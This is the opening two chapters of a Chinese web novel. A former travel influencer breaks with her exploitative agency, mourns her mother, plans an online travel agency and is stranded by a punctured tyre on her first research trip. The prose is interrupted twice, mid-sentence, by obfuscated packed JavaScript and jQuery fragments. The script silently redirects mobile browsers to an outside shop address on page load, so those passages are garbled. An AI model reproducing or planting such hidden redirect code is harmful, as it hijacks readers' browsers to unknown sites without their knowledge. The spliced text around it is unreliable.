《职业玩家》
1. 1
“什么?你要创业?”
姝言听到麦初这个决定的时候,表情跟网速掉线时一样卡顿,一脸的不可思议,语气里全是愕然。
“你账号不要了?互联网的饭不吃了?”
“嗯,不要了。”麦初郑重其事,像下定了某种决心,不过很快她又把话说回来,“但网络这碗饭还是要吃的。”
倒也不是麦初非要赖着这碗饭不可,只是她已在网络深耕多年,积累的经验和人脉都与互联网相关,连踩坑都踩出了厚厚一层泥的经验。
创业本就是一场冒险,与其在一个陌生行业从新兵蛋子摸爬起步,不断试错,倒不如在熟悉的行业另辟蹊径。
姝言听她刚才那话只觉前后矛盾,她请问呢,没号还吃什么饭?喝西北风去吗?
“就靠你那只有三瓜两枣粉丝的小号啊?”她只当听了个笑话,忍不住揶揄道。
谁知麦初还大言不惭地点头,“对啊。”
见她认真,姝言有点坐不住了,她腾地拔座而起。
“你大号有百万粉丝,那可是百万账号啊姐姐。”姝言就差给她浇盆凉水,在她耳边大喊快醒醒,“你说不要就不要了?”
在如今这个起号难于上青天的互联网,一个百万账号背后的价值不言而喻,更何况她已经努力了这么久,现在竟然说放弃就放弃。
“累了,不想跟他们折腾了。”麦初只撇撇嘴说道。
她这话听起来倒是挺酷的,可这看似云淡风轻的背后实则早已是千疮百孔。
麦初是个不折不扣的初代网红,全网坐拥800万多万粉丝,离千万级只差两百万步之遥。
说起她的崛起之路,也挺神奇的,几乎与国内社交媒体的爆发史同频同步。
她大学开始接触网络时,正逢各大平台草创悬浮、内容空白蛮荒的时代,网友们的猎奇心旺盛无比,任何一点风吹草动都觉新鲜,能迅速掀起燎原之势。
各类博主就这样在时代的精神需求下如雨后春笋般纷纷涌现,麦初也凭借直觉,踩中了短视频兴起的热潮,赶上了自媒体井喷式爆发的风口。
起初她并没有将其当成一门事业,建号纯粹是为了记录她与母亲的旅行碎片。
旅拍当时也在美妆、美食、母婴、宠物这种热门的赛道中被衬托得既小众又冷门,它费钱费时,成本高的同时起号还慢,所以涉足者寥寥无几,却也因如此,才被毫无经验可言的麦初误打误撞地捡了个漏,开辟出了一片属于自己的特色领域。
彼时“生活不止眼前的苟且,还有诗与远方”的文案正全网满天飞,她凭借着酷炫的转场剪辑和甜美的播音腔声线解说,在一众社会摇和用声卡制造出低音炮的喊麦声中,成为了一股当之无愧的清流。
她的脱颖而出,意外地击中了无数“身为牛马,心系旷野”的上班族内心,久而久之,她的视频下方总是齐刷刷排起“替我自由”的队列。
她的镜头加解说,莫名成为了千万人共同抒发压抑情绪的突破口。
她拍,有人还爱看,双方喜闻乐见,就此她便把短视频拍摄当做爱好,一步步开启了属于自己的旅行vlog生涯。
如果没有第三方的介入,兴许她将一直是藉藉无名的野生小博主,平淡的分享着她在小旅途中的所见所闻,做一个闲云野鹤。
因为得天独厚的嗓音条件,她偶尔也会应粉丝要求开启不露脸直播,一次在漠河观看极光时,她一个激动手机不慎掉落在雪地中,捡起时只顾着查看机身忘了还在直播——
镜头埋进雪中,骤然黑屏,又很快被捡起擦净。
就在那毫无美颜与滤镜的画面中,一张明媚饱满的脸忽而闯入镜头,怼脸的视角下,她的睫毛凝结着细碎冰霜,肌肤纹理甚至毛孔都清晰可见。而就在她身后,璀璨的极光如幔帐般垂贯天际,照亮了整个夜空。
光幔流动的苍穹,广袤无垠的雪原,她仿佛是造物者在天与地间执笔挥毫间横添的一道耀眼浮光,在惊鸿一瞥中,绽尽转瞬的绚烂。
在那个无缝转场还没那么丝滑的年代,这种眼前一亮的出场方式,给人以强大的视觉冲击,又在其未经任何人工雕琢的“原始感”清新形象加持下,简直是堪比“纯元白月光”复活的一记绝杀,直撞屏幕前网友的心弦,留下了惊遇初恋般的震撼。
正是麦初这次无心插柳的露脸,验证了“颜值是第一生产力”的硬道理。
仅一晚,便吸粉无数,粉丝的暴涨令麦初迅速跻身入百万博主之列,自此,流量与商业的阀门也被拧开,广告商随后接踵而来。
由于她明媚阳光的形象男女通吃,关注群体80%又是上班族,这其中白领又占据了半壁江山,粉丝基础庞大且优质,经济实力更是毋庸置疑,购买力自然不在话下。
强大的带货能力很快赢得了广告商的青睐,合作邀约络绎不绝,麦初也因此赚到了人生的第一桶金,那是她第一次感受到流量带来的红利,她恍然大悟,原来粉丝数量是可以变现的啊。
然而在快餐式的网络文化中,爆红或许只需一夜,如何持续红下去才是真正的难题。
麦初当时也只不过是一个才把剪辑给玩明白的野生博主,作为一枚清澈的大学生,她还单纯得能掐出水来,哪里懂得流量背后那套深奥的运营法则。
所以她踩的第一个坑,闻着味就找上门来了——签约MCN机构。
如果她家麦女士没生那场病,她兴许还会在MCN那些天花乱坠的签约话术里权衡利弊、犹豫再三。
但命运没有给她开启上帝视角,在需要可持续输入的高昂医疗费用面前,那份合约成了触手可及的救命稻草,用网红身份赚快钱也成了当下她能紧紧抓住的、挽救母亲的唯一希望。
社会经验尚且为零的她像电视剧里的落难女主,抱着一丝侥幸签下了人生的第一份合约,还头脑简单地以为拿到了属于自己的大女主剧本,殊不知,她只是被一层用光鲜皮囊包裹着可笑而砸中的小丑。
因为她忽略了一点,现实往往都是与幻想背道而驰的。
确实,钱是来得很快。
可当原本质朴的旅拍突然有了剧本,本可以一镜到底的画面强行植入N个广告位,不爱露脸的她还要每日在镜头中全方位展示根本不是自己搭配的ootd,还有天花乱坠的美妆推荐……一切仿佛与她建立账号的初衷越偏越远。
她犹如一个提线木偶,在公司源源不断各种保数据、上刊例、蹭热点中的pua中渐渐脱离自我,她失去了原有的快乐与最初的分享欲,被人强行拉扯着,亦步亦趋地打造成一个资本市场中需要的个人IP。
然而,比这种割裂感更令人窒息的是她在商业上的彻底失语,选品上她被渐渐架空,变得毫无自主选择权,可配合甲方表演却成了家常便饭。
公司把毫无底线的圈钱逐利直接摆在了明面上,如果说拍摄上的身心俱疲,麦初都可以归咎为自己签约时眼睛被p打瞎的自作自受,但把信任她的粉丝也一并当作韭菜收割,这成了压垮她的最后一根稻草。
于是,她爆发了。
当所有的体面被撕开,迎来的是史无前例的争吵,她打出自以为是的底牌:“我不续约了。”
公司早已见怪不怪,旋即撕下所有温和的伪装,生动地给她演绎一出什么叫做资本家真正的翻脸无情。
最初那份她草率签下的合约,在双方撕破脸后,终是不辱使命成为了死死拿捏她的利器。
她后知后觉,合约中明面上的那些不平等条款,从来只是冰山一角,真正致命的,是被精心布设在密密麻麻文字里的隐藏条款,它们如同一颗颗深埋的地雷,此刻化作触发式的陷阱,精准地埋伏着她每一步遵从良知的挣扎,等着她去一踩一个准。
公司同时甩出的解约条件也跟降龙十八掌似地将麦初打了个措手不及,让她毫无招架之力。
视频知识产权和账号的归属权纠纷、高额的违约金支付、还有令人作呕的竞业协议,每一条都像嗜血的蚂蚁,狂妄无比地啃食着麦初的底线,令她大开眼界。
公司高管甚至还高高在上地发表着逆天言论:“麦初啊,这个社会呢,道德感太强的人会活得很累,越是不要脸的人往往才活得越轻松,人不要脸则天下无敌的道理,你不会都不懂吧?真是绣花枕头稻草包,中看不中用。”
“我去你大爷的!”
麦初撂下摊子彻底不玩了,她账号至此陷入了无限期的停更。
剩下的,只有一纸诉状,她与这个夕日老东家走上了漫长无期的对薄公堂之路。
但归根结底她也只是普通人一个,哪里玩得过身经百战的资本。
律师残酷地告诉她,那合约上的每一条,每一款,乃至每一个字,都经过了专业法务团队的千锤百炼,它早在无数个前车案例中迭代升级,到她这里可翻盘的空间几乎所剩无几。
她要面对的,是一场注定漫长的拉锯战,不仅是遥遥无期的等待、日益枯竭的心力,还有不断流失的金钱。
事实证明,律师的判断非常正确。
这场战斗中,她可谓元气大伤,公司却依然盘踞于食物链的顶端,屹立不倒。
她付出的不仅是金钱和被时间消耗掉的人气,连同那个她一手创立、灌注了无数心血的账号,最终还是替他人做了嫁衣。
期间祸不单行,母亲的病情也因再次复发而急转直下,最终没能熬过那个冬天,她终是撒开麦初的手,一人独自远行去了。
这场社会实践的教训对她而言,很深刻,也很沉痛。
如今她孑然一身,一无所有,一切仿佛又回到了原点,
可她反而想通了。
算了,账号她不要了,不过就是从头再来,她还有什么可输的呢?也没什么大不了的不是吗?
于是,在熬过为期两年的竞业期后,她重新注册了新账号,名字很简单,就叫【迈出】。
麦初重新迈出。
这一次她要做自己,不会再受到任何的束缚。
“不能赔了夫人又折兵,钱没了可以再赚,但账号必须拿回来!那账号本来就是你的,跟那个破公司没一分钱关系,粉丝也是你自己积累的,他们有什么权利收走?”此刻,只有姝言还在愤愤地替她鸣不平。
这些年姝言眼看着麦初的账号慢慢起来,深知以麦初的自身实力,本不该止步于百万博主,如果不是MCN吃相太难看,急于遍地开花,盲目扩张赛道导致账号后期运营失衡,她早就能成为千万量级的博主了,就算成为顶流也是迟早的事。
姝言是麦初的合租室友,也是闺蜜。
她跟麦初是大学同届校友,都就读于传媒大学,麦初是播音系,姝言则是广播电视编导专业,两人同在学生会文娱部,每逢学校举办大型活动,总是姝言幕后策划,麦初台前主持,一来二去,她们默契渐生。
两个才华相当、光芒相映的女孩,就这样在彼此欣赏中,自然而然地结下了友谊。
当初,麦初这位众人眼中的未来主持界新星,毅然转身投入网红这种不算入流的行业,在校园里掀起不小波澜,“利欲熏心”“自毁前程”之类的舆论几乎一边倒。
也是姝言率先在学校论坛发文为她声援,写下一篇“人各有志,你我非她,何必苛责”的长篇大论,才避免了一场网爆。
无独有偶,等到姝言自己面临择业时,她也并未按部就班地走上那条被期待的传统路径,与麦初一样,她选择的,同样是一条“不寻常的路”。
她们毕业那几年正值互联网PGC的风口,已在老家卫视获得实习机会的她仿佛看到了自己一眼望到头的人生,那会儿她总有一股预感,这天呐,要变。
于是她毅然决然地拒绝了电视台的offer,一头扎进了沪城一家名不见经传的综艺公司里。
她是觉得以互联网更新换代的速度,新媒体内容迟早会超越传统电视节目,成为行业不可逆的浪潮。
虽说电视台不会被完全取代,但人员配置早趋于饱和,且层级固化,顶层的思维多年未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182735|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变,她这样的新人若想从中崭露头角,只能靠时间一寸一寸地熬。
她想,自己与其被困在这日益渐窄的航道里,倒不如趁早扬帆,驶向更开阔的水域,反正她年轻,有试错的资本,怕什么?
就这样,在编导事业的发光和发热中,她最终选择了发疯。
但在父母眼中,这一举动却无异于离经叛道,简直是放着铁饭碗不要,脑子冒泡。
一番激烈争执后,姝言毅然背井离乡,她目标清晰而坚定,直奔那座充满机会与挑战的大沪城而去。
即使前方是一堵南墙,她也要撞破了头再说。
综艺公司那会儿也正值创办初期,在寸土寸金的沪城,办公环境简陋得只能用寒酸来形容,更别说提供什么员工宿舍了。
初来乍到的姝言,身为应届生本就捉襟见肘,加上父母的不支持,她在这座城市里举目无亲,找房期间一度靠在公司打地铺过渡。
在那些深夜里,老鼠与蟑螂窸窣爬行的声响异常清晰,她与它们为伴也就罢了,时好时坏的空调,还经常冻得她瑟瑟发抖,她都是裹着厚厚的羽绒服再卷着几层被子睡觉。
从小到大没怎么受过苦的姝言,不知有多少回,在黑暗中悄悄下泪水,却硬生生被她咬牙坚持了下来。
那时她的处境,与已在互联网占据半席之地且独自在沪城北外滩租下江景房的麦初相比,简直是天差地别,大相径庭。
当麦初从共同好友口中得知姝言放弃了老家电视台的offer,只身一人来到了沪城打工时,她第一时间动身直奔向姝言那破败不堪的小公司,不由分说地要她跟自己回家。
那一天,向来坚韧的姝言在被麦初毫无保留接纳且托住的那刻,积攒已久的情绪终于彻底在泪水中决堤。
她在哽咽中暗自发誓,麦初这份恩情她会谨记于心,假以时日有了能力一定好好报答,同时狠狠告诫自己,不在沪城闯出一番名堂绝不回乡。
从那以后,两人一直相伴在一起,这些年无论是历经各自的人生高光或是低谷,她们始终彼此见证,风雨共济,不离不弃。
回首看,姝言当初的选择无疑是对的。
那几年里,明星亲子互动、户外真人秀、密室推理闯关等等新型综艺接二连三爆火,新颖的内容与模式突破了传统电视的壁垒,掀起了全民追看的热潮,不仅催生了众多综艺新星,也为诸多艺人开辟出新的舞台机会。
姝言公司也抓住机遇顺势而为,在接连打造多个爆款IP,红利吃尽后,也快速在行业内站稳脚跟,它从一个破落不堪的小公司转眼间便完成了华丽的蜕变,成为了业界不可忽视的新锐力量。
如今已与多家头部视频平台深度绑定,手握数个热门项目,形成资源垄断,风头相当强劲。
而姝言,作为公司初代元老之一,也从原本籍籍无名的新人,一路成长为能独当一面的正式编导。
短短几年间,她不仅收入可观,更在用自己可圈可点的实力为自己在业内挣得一席之地,将同期仍徘徊犹豫的同僚们远远甩在身后,她更用实打实的成绩,狠狠打了父母的脸,也在整个家族里,碾压了所有男性,成为了最有主导权与话语权的那一个人。
说到底,她们二人都是精准踩中互联网风口的幸运者。
不同的是,麦初当时太年轻,是人是狗没分清。
“现在自媒体人才济济,新人层出不穷,旅拍博主也不再少数,视频同质化严重,如果继续维持千篇一律的风格,大家只会更加审美疲劳,粉丝群也会只降不升。”麦初顺着姝言的话分析了当下自媒体的局势。
“我之前跟公司谈过这个问题,被无视了,没办法,理念不合,分道扬镳是注定的事。”她轻轻耸了耸肩,四平八稳的语气和当时撕破脸的义愤填膺成了鲜明对比。
事实上,前公司激进的账号运营模式的确让麦初背了不少锅,商业化的严重,当时让不少网友大呼失望,指责她“恰烂饭”,风评折损后取关声也一直此起彼伏,受此影响,她一直引以为傲的路人缘也一度低迷。
所幸,承蒙铁粉厚爱,在停更了两年后,她以新号重新出发,至少还没有没落到查无此人的境地。
如今的互联网内容可替代性极强,早已不是那个随便发条视频就能爆火的时代,她却还能被粉丝坚定追随,这份双向奔赴来之不易,她已心满意足,不再过分奢求更多。
虽然麦初言之凿凿,可姝言却注意到,她说话的时候,视线一直没有离开她母亲曾经住过的那间房。
她越是表现得若无其事,姝言心里越是不安,她生怕在这份平静之下,麦初隐藏着至亲离去后的重击。
毕竟自阿姨走后,麦初还没有在她面前掉过一滴泪。
心理学家说过:人如果哀痛逾恒到极致是哭不出来的。
这也是姝言最担心麦初的地方。
事业、金钱、至亲全都失去了,就算是忍者神龟也遭不住这接二连三的重创,更何况她这个有血有肉的躯体。
所以即使她最近因为新项目忙得焦头烂额,仍然坚持尽早下班回去陪伴麦初,她只是想着:万一麦初突然情绪崩溃,需要人陪的时候,自己至少能守在她身边,第一时间给她依靠。
可就这样沉寂了数日之后,麦初忽然平静地同她说出“要创业”这几个字,这个突如其来的决定,着实让姝言当场傻了眼。
其实她一直想问她状态还OK吗?可每次话到嘴边,又怕戳中她最最痛的地方,只能小心翼翼咽回去,就像现在这样欲言又止。
“所以呢?说了半天,连你要做的是什么我都还不知道。”姝言顺着她的话重新坐回位置,她故作轻松,表现出很感兴趣且侧耳倾听的姿态。
“来吧,说说你的创业计划,我来听听到底是怎么个事儿?”
言归正传,麦初便直言不讳。
“我要开家旅行社。”
姝言:?
麦初:“线上的,你要入股吗?”
姝言:……
2. 2
这是麦初深思熟虑后的决定,她要转被动为主动。
如今的网络,各个赛道达人密度饱和,在当下经济下行的大环境里,即使她的前身已坐拥百万粉丝,商单数量、品牌的预算也开始一年不如一年。
而近几年MCN蜂拥冒出,以迅雷不及掩耳之势在各自擅长的领域开疆扩土,它们盘根错节、野蛮生长,趋之若鹜地只以行业GMV为终极目标,肆意刮分着互联网这块大蛋糕。
它们越发密集的存在,让本就艰难的野生博主立足之地少之又少,更别提像她这种被资本抛弃的弃子。
在当下这个流量至上的网络环境里,失去了MCN的投流和商务对接,她一个野生博主再不转型真的很难生存。
既然现在线上流量成本水涨船高,与其继续被平台裹挟、分走大半利润,她不如顺势而为,搭建属于自己的私域流量池。
她可以凭借前旅行博主的身份的知名度与多年积累的粉丝资源,做私域直营、直接对接用户,既能摆脱对平台的依赖,也能让收益更加可控、利润更为私有化。
也正因为她对自己的粉丝体系与账号框架结构有着清晰的认知,同时对当代年轻人的精神需求心若明镜。
她最终才将目光锁定在“线上旅行社”这一新兴的业态上,这并非一时的冲动,而是她经过综合评估后,为自己选定的当下最稳妥也最适配的创业方向。
从前,她只是在镜头中替粉丝们奔赴自由。
如今,她要打破那层无形的镜片,将粉丝从沉浸式体验的旁观者转化为置身其中的共创者。她要赋予每个人在旅途中探寻自我,走向人生旷野的力量,让画面里的每一帧,都闪耀着普通人也能拥有的主角光芒。
这一次,她不再替他们自由,而是亲手带领他们去体验真正的诗与远方,让每个人,都活出自我,享受自由。
“行,你开个价,我当天使投资人。”姝言明知道麦初是在开玩笑,还是二话不说答应了。
她还说:“只要你想清楚了,无论做什么,我都无条件支持你。”
麦初怎么会不感动呢?这么多年,姝言于她,早已不止是闺蜜挚友,更是血肉相连、堪比至亲的存在。
在她这场解约风波中,姝言第一时间动用人脉,请来了在网络纠纷领域赫赫有名的律师,才将损失一压再压。然而即便如此,换取自由身的代价,仍是让她多年的积蓄在高额赔偿金面前顷刻见底,付之东流。
对方沟壑难填之际,又是姝言仗义相助,拿出了自己积攒许久,本欲购房的首付。
那套房子是姝言的梦中情房,她曾不止一次在麦初面前表达过喜爱,如果没蹚自己这趟浑水,她早已拎包入住了。
从前是麦初给她庇护,如今两人角色互换,姝言倒成了那个毫无怨言、稳稳接住她的那个人了。
如果事情能到此终结也就罢了,可麦初的退让只换来了对方的得寸进尺,再次开庭调解时,公司矢口否认账号也包含在双方之前的和解中,并以其此前长期投资运营其百万账号为由,要求她额外支付一笔巨额赔偿金,作为账号赎回的条件。更无耻的是,对方还提出延长竞业协议期限,要求她五年内不得以任何形式出现在网络,意图将她彻底驱逐圈内,美其名曰“弥补公司损失”。
这哪是什么竞业协议,分明是借条款之名,行变相封杀之实。不过是怕她东山再起,威胁到他们一手捧出的最新竞品罢了。
龌龊的心思昭然若揭,麦初当场被气笑了,若不是律师多次暗示提醒,将她压了又压,她恐怕早已抛开个人修养,直接破口大骂了。
不过这场失败的调解结束后,还真有一个人脑袋被门夹了,那就是姝言,她居然真的动了花钱给她赎账号的心思。
她说能用钱解决的问题就不是问题,还不以为意地开起了玩笑,“小网红,我给你筹赎账号的钱,以后你就给我打工好了。”
可即便她们情同姐妹,姝言愿意倾囊相助,麦初却做不到心安理得接受,这份情谊太过沉甸了,她受不起。
更何况,姝言的钱也不是大风刮来的,她背后的辛苦,她比谁都清楚。
综艺制作是一个看似光鲜,却也苦不堪言的行当,姝言平日里不是连轴转地拍摄,就是通宵达旦地盯后期。除此之外,她还得维系与各大视频平台的关系,周旋于各类娱乐经纪公司之间。
用她自己的话说:干这行真的是“钱难挣,屎难吃”,累得猪狗都不如。
如果运气不济,遭遇节目中一个艺人暴雷,那对她而言简直是灭顶之灾,除了不眠不休的技术补救:ps、剪辑、各种虚化到将人直接变成透明……还要付出半条命去处理随之而来的一系列塔罗牌效应:合作平台的问责、品牌方的索赔、公众舆论的审判,任何一环处理不当,都足以将她职业生涯噬骨剥皮。
她身处在一个时刻踩在钢丝绳上、稍有不慎满盘皆输的行当,面对的是比网红圈还要复杂的娱乐圈,那背后是更为翻脸无情的资本。
她们走在不同的人生轨迹上,背负着各自的使命。麦初不想姝言再为自己那点儿破事疲于奔命,散尽千金。
所以这场博弈,她痛定思痛,选择退出,但这并不代表她就此认输,而是及时止损。
账号,她不要了。
反正人生来就一无所有,又何惧从头再来?
“这事也没那么容易,目前还是纸上谈兵,我要亲自去跑几趟路线,见几个领队,才能把这事提上日程。”麦初生怕姝言一言不合又要把钱掏,只得开始含糊其辞起来。
姝言本想陪她一起去,可公司已经承接了一个头部平台力推的恋综新项目,她根本无暇分身。
又转念一想,麦初有事可忙,总比在家无所事事、信马由缰更让人放心,她重振旗鼓去搞事业,既能散心,也能转移注意力,未尝不是一件好事。
“不过话说回来,搞事业和要账号又不冲突,如果老账号在手,你的创业起步会顺利很多。我是觉得,既然前期我们在账号的归属问题上已经努力了这么久,现在突然放弃太过可惜。”可姝言一开口又不由自主地将话题给绕了回来,说到底她还是不服气的。
凭什么?
“已经是强弩之末了。”这次麦初索性挑明了自己态度,神情也是一副落子无悔的模样,“这次再妥协,谁知道他们会不会又变本加厉提出更贪婪的条件?账号他们想要就拿去吧,就当偿还那点知遇之恩。从此桥归桥,路归路,两清。”
这两年她耗在纠纷与官司里的精力早已透支,现在她只想向前看,专心去做一份完全属于自己的事业。
看着麦初认真的神情,姝言开始意识到,自己在她账号事上或许过于钻牛角尖了。
说到底自己只是一个旁观者,麦初是个成年人,她会自己做选择。
她作为闺蜜,应当在对方需要时倾力相助,在对方做完决定后,及时退回到合适的位置即可,应该给予她足够的空间与尊重,而不是一味的固执己见,徒增她的烦恼焦虑,变相成为她的另一种负担。
于是姝言不再干涉她的决定,主动问起她接下来的行程与安排。
“那你打算去哪几个地方?几个人去?什么时候出发?”
以前麦初出行都由公司规划,出趟门三五成行,什么化妆师,服装师,助理,好歹姝言不用太担心她的安全问题,但现在她单干,姝言未免会考虑多一点。
“去青禾,一个人,明天出发。”麦初对答如流,仿佛早有规划。
刚捧起杯呷了一口茶的姝言差点吐出来,她没听错吧?
“什么?明天?”
是的,麦初没开玩笑,明天一到她就真的出发了。
不同的是,这次她轻装上阵,再也不用在镜头前进行任何心虚的表演了。
当飞机拔升至云之上,巨大的云团如同悬浮的雪山,圣洁纯白,轮廓分明。
小时候她听人们说死去后灵魂会去天上,麦初这会儿竟很幼稚地想拨开那片云层看看,看看妈妈是不是躲在后面偷偷看她。
母亲的弥留之际,还记挂着曾经跟她去看海的约定。
她的账号当初为母亲而建,可还没等母女俩一起踏遍祖国的河山,母亲却突然病倒了,账号也就此成为了麦初赚钱为她续命的工具。
母亲虽然无法再与她继续同行,却坚持在病榻上为她的每个视频点赞,直到最后,被病痛折磨到连拿手机都费劲的她,还坚持着在麦初最后一个更新的视频下留下六个字:宝贝,做你自己。
从账号创立到她出圈走红,再到被公司收走账号,一切恍如大梦一场。
如今梦醒了,麦初真的要做回自己了。
她悄悄拭了下眼角,目光望着机窗外那片无垠的蔚蓝汪洋,轻声说道。
“妈妈,这次我们真的去看海……”
青禾当地没有机场,麦初只能先到当地的省会机场再包车前往。
只是青禾这座滨海城市夏日温暖多雨,前一秒还朗日的晴空,下一秒浓云翻涌,天色骤暗。
麦初一出机场跟大雨迎面相撞,她只当是这座城市在为她接风洗尘,希望借这场雨去掉小人缠身的晦气,往后皆能顺遂无虞。
事实证明,她想多了。
美好的愿景在两个小时后的汽车抛锚中宣告结束,她的旅程尚未开始就出了幺蛾子。
突如其来的暴雨,导致高速路上接连发生追尾事故,高速路口被迫封锁,麦初包的车子不得不调转方向,改道而行。
驶向青禾的途中必经一段正在翻修的道路,原本开阔的路况在各种路障下倏然变得拥挤,这块本就是交通事故多发地段,交管部门为了安全起见,特设了多个减速带拉开车距。
可车子每经过一条减速带,麦初就得跟着颠簸一下,震感强烈,如坐针毡,好不容易颠完了,她以为终于能正常行驶了,司机却打着双闪在一段车辆稀少的路段靠边停车了。
“怎么了师傅?”麦初紧握手机不明所以。
车子虽然是正规软件上叫的,但她独自一人出门在外,凡事总要警惕些。
司机抬手直指仪表盘,“嗐,胎压监测突然亮灯了。” 他边说边解开安全带,“提示后胎有异常,稍等,我下去看看。”他说完便下了车,伞都没带。
再上车时,他抹了一把被雨淋湿的脸,带着抱歉跟麦初忙打招呼。
“真不好意思啊,右后胎还真扎了个大钉子,车胎漏了气,这车是开不了了,我得叫拖车来。”他看了看窗外依旧滂沱的雨势,“这雨一时半会儿是停不了的,你可以试试重新约车,看看有没有人接单,我退你差价。但这一带是郊外,附近都是山村,我估摸着叫车也够呛。当然,你要是不嫌弃的话也可以跟我一起去修车的地方,到了那边再重新叫个车,也安全些。”
麦初:“……”
请问还有第三选项吗?
没有。
两个小时后,麦初跟司机两人被前来的拖车连车带人一并接运走了。
麦初怎么也没想到,自己第一次坐拖车竟是在这样的情形下。
高速封路,车胎被扎,所有糟心事似乎都赶在了她这趟独自出行上。
出师不利,她心里涌起一阵无言的烦躁,却又无可奈何。
罢了,就当解锁一次人生新体验吧。
拖车启动后,先前跟她没多少共同语言的轿车司机,这会儿倒跟开拖车的师傅聊的热络,到底是同行,三两句便熟稔起来。
他们说的是当地话,麦初听不懂,但从时不时的唉声叹气里,隐约能猜到是在抱怨这年头的钱太难赚。
正如那句话所说——
世人慌张,万般辛苦皆为那碎银几两。
车轮滚回,驾驶舱内,麦初注意到中控台上放摆着用一家三口照片定制的车载摇头摆件,可见司机家庭之幸福。
别人触手可得的日常,对她而言已是遥不可及的远方,她垂下眼帘,心中那片空旷也无声漫开。
人生寄一世,奄忽若飙尘。
日后不管是旅途还是这场人生,大抵都是如此,只剩她独自一人,形影相吊。
总会习惯的。
她重新望着车前方被雨冲刷得一望无际的路,告诉自己。
到达附件最近的汽修店,拖车也开了一个多小时。
经过汽修工的查看,居然是固定减速带的膨胀螺丝一整个压插进了汽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182736|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车的右后轮胎。
“乖乖,这么大一个家伙?”司机自己都看傻眼了。
“应该是减速带上的螺丝松动了,恰好你的车过去的时候中了奖,这种情况也不多见,老兄你都能去买彩票了。”汽修师傅都觉得司机运气有点背。
司机自认倒霉地问,“能补吗?”
“一般被扎到的轮胎我们用蘑菇钉或者贴片补,但你这孔扎得这么大,这种平常方法搞不定,只能热补,但后面轮胎再一磨损,还得缝缝补补,折腾倒是其次,主要是有安全隐患,我建议你直接换个新的轮胎好了。”汽修师傅嘴里叼着烟说。
升腾的烟气缓缓飘向站在店铺门口的麦初,吸到二手烟的她被连连呛咳了几声,只得再稍稍将脚步往前挪一点,可再挪就要淋到雨了。
零星飘落的雨点打在她的手机屏幕上,模糊了正在转圈的叫车状态,她生怕错过接单,又被烟熏得打了几个喷嚏后擦干净屏幕,她一边继续等待,一边切换着其他打车软件,将小费一加再加,可即便如此,依然无人接单。
见鬼!
身后继续传来司机和汽修师傅的对话声。
“换新轮胎要多久?”
“店里还没有跟你车匹配的现成轮胎,从调货到安装,起码两个小时。”
“那热补呢?”
“你这种破损程度的话,补一下也得一个多小时。”
“……”
落雨如尘,日色西斜。
麦初举目四望,周边商铺零落,地势偏僻荒凉。
低首垂眸看仍在转圈的叫车订单,她知道今天自己大概率是到不了青禾了。
麦初原定的计划是今天抵达青禾,先花一周时间在当地调研旅行社,考察市场行情,可目前看来,原计划第一步还没开始,就要泡汤了。
一直没有新车接单的话她只能在这里等原车修好,可就算照汽修师傅说的按最快时间算,等他们出发的时候,天也差不多要黑了,赶夜路有风险,她也不想将自己处置在一个不安全的境地之中。
她开始想其他办法,当机立断地向店内的小学徒询问,“小哥,请问,这附近有什么能住宿的地方吗?”
一个鸡窝头的小学徒正等着上厕所,已经嚎着嗓子催了占用卫生间的同伴好几遍,他握着手机,说话也不过脑子,“我们这附近都是村子,鸟不拉屎的地方,你要住宿的话得到青禾。”
这说了等于没说,好在另一个小学徒认真想了想告诉她,“其实也不是非得跑到青禾不可,离这儿不远有座原生态小岛,也算我们当地一处景点吧,岛上是有民宿的,不过这个地方比较小众,也很特别,得坐船摆渡过去。”
听到有民宿可住,也不管它是什么岛还是山了,麦初只问,“是什么地方?”
“夏安岛。”
确实很小众,这地方麦初听都没听过。
好吧,她很抱歉,作为旅行博主没有做到百科全书般的存储,她真的太不称职了。
于是她在旅行软件上先搜了一圈附近的酒店,再搜了一下夏安岛,果然如小哥所说,最近的住宿就是这个夏安岛,唯一的缺点就是要坐船上岛,但好在有家民宿设施服务里写着包接送,当然它家的住宿价格也是独树一帜的贵,不过评分倒是不低。
麦初继续各种翻找对比,相比岛上其他几家至少干净程度上这家也是她唯一所能接受的,难怪贵。
随后她启动了Plan B,拨通了这家民宿的号码。
“你好,倦。”长久的等待后,电话终于接通,那头传来一个男声,寥寥几字,像是刚睡醒时带着几分倦意的低语。
“倦”是民宿的名字。
麦初觉得挺应景,连接线的员工都挺疲倦的。
“你好,请问我现在定房的话你们什么时候能来接我?”麦初单刀直入,她现在只想尽快落实能够歇脚的地方。
对方问:“你在哪里?”
话音传来时,气息好像要比声音更早一步抵达,声音边缘带着慵懒的沙沙声,像小时候听歌时,前奏响起时缓缓而转的磁带微弱摩擦,经过电波的传输,落入听者耳中,如同被一层薄绒轻轻擦过耳道,痒意隐隐,却又难以捕捉。
麦初换了一只耳朵接听,她看看附近,没发现地名标识,还想询问小学徒,几人此刻正在厕所门口故意堵着那个急厕的小哥逗弄玩闹,她再看看身后还在讨价还价的两人,最后作罢。
她只得实诚地告诉他,“不好意思,我是外地人,不知道这里具体的地址,要么我们加个微信,我发定位给你?”
电话那头静了一瞬,随后传来一声低低的回应。
“行。”
“你那儿有来电显示吗?”麦初问。
她打的是座机号码,正常来说都会有来电提示,想着如果没有她直接报给他便是。
“嗯。”
